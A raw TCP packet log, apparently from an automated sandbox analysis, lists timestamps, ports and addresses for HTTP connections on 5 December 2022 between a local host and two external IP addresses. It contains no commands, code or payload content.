Dec 5, 2022 06:44:28.501471996 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501504898 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501549959 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501580000 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501689911 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501764059 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501817942 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501848936 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501878023 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501907110 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.501979113 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502007008 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502036095 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502063990 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502093077 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502123117 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502151012 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502182007 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502242088 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502274036 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502302885 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502399921 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502430916 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502460003 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502489090 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502569914 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502599001 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502701044 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502732038 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502763033 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502791882 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502820969 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.502976894 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.503007889 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.505098104 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.505301952 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.506918907 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.506953955 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.506983995 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507064104 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507185936 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507262945 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507417917 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507448912 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507529020 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507745028 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.507869959 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508034945 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508246899 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508347988 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508462906 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508665085 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.508806944 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.509051085 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.509083033 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.509289980 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.517896891 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.518352032 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.518517971 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.534650087 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.534709930 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.534739971 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.534820080 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535037041 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535300016 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535432100 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535620928 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535687923 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535835028 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.535876989 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.536232948 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.536412001 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.536727905 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.536850929 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.536931038 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.537127972 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.537893057 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.538377047 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.538521051 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.548171043 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.548228025 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.548410892 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.548841000 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.548953056 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.549088001 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.549194098 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.549263954 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.549771070 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.550340891 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.550806999 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.551008940 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.567826033 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.567868948 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.568228006 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.568562031 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.568829060 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.568867922 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.569004059 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.569184065 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.569282055 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.569330931 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.569426060 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.570197105 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.570729017 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.570925951 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.580285072 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.580393076 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.580781937 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.580907106 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.581147909 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.581593990 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.581716061 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.581772089 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.582727909 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.582746029 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.582817078 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.583282948 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.583439112 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.600208998 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600234032 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600354910 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600503922 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600581884 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600744009 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600825071 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.600975990 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.601694107 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.601939917 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.602464914 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:28.612575054 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612622976 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612656116 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612768888 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612799883 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612828970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612905979 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.612934113 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613259077 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613373041 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613564014 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613640070 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613717079 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.613843918 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632004023 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632087946 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632117987 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632150888 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632296085 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632327080 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632356882 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632385969 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632565975 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632596970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632803917 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632836103 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.632997036 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.633105040 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.633136034 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.633163929 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:28.633193970 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:29.191689968 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:29.193063021 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:29.222596884 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:29.297329903 CET	80	49694	45.15.156.155	192.168.2.3
Dec 5, 2022 06:44:29.349627972 CET	49694	80	192.168.2.3	45.15.156.155
Dec 5, 2022 06:44:29.596565008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.613636971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.613821983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.614058018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.631061077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935735941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935767889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935789108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935808897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935830116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935852051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935883045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935899973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.935900927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.935900927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.935911894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935941935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.935960054 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.935971975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936002016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936026096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.936032057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936080933 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.936439991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936513901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936534882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936554909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.936563015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.936594963 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.937228918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.937297106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.937316895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.937338114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.937350988 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.937382936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.938030005 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.938052893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.938071966 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:29.938101053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:29.990380049 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:30.721688986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:30.738965034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089483023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089544058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089586973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089631081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089675903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089719057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089736938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.089736938 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.089764118 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089807987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.089821100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.090043068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.090446949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.090492010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.090533018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.090549946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.090574980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.090636969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.091245890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.091290951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.091335058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.091377020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.091392040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.092046022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092092037 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092108011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.092133045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092175007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092186928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.092223883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.092844963 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092889071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092931032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.092946053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.092976093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.093030930 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.093647957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.093692064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.093734026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.093751907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.093775988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.094038010 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.094464064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.094507933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.094551086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.094567060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.094592094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.094652891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.095248938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.095292091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.095333099 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.095352888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.095375061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.095432043 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.096041918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.096086025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.096127987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.096172094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.096191883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.096884012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.096939087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.097019911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097064018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097071886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.097106934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097151041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097201109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.097847939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097891092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097933054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.097943068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.097978115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.097979069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.098649025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.098686934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.098741055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.106760979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.106812954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.106915951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.106931925 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.106961012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107006073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107016087 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.107048988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107091904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107098103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.107748032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107795954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107810020 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.107836008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107839108 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.107878923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.107930899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.109555006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109599113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109642982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109656096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.109683990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109726906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109740019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.109759092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109802961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109813929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.109847069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109893084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.109905005 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.109934092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.110033989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.110359907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.110404968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.110447884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.110455990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.110488892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.110537052 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.111162901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.111208916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.111252069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.111282110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.111294985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.111351967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.111967087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112015009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112057924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112096071 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.112099886 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112786055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112832069 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112840891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.112878084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112920046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.112925053 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.112972021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.113996983 CET	80	49703	66.235.200.147	192.168.2.3
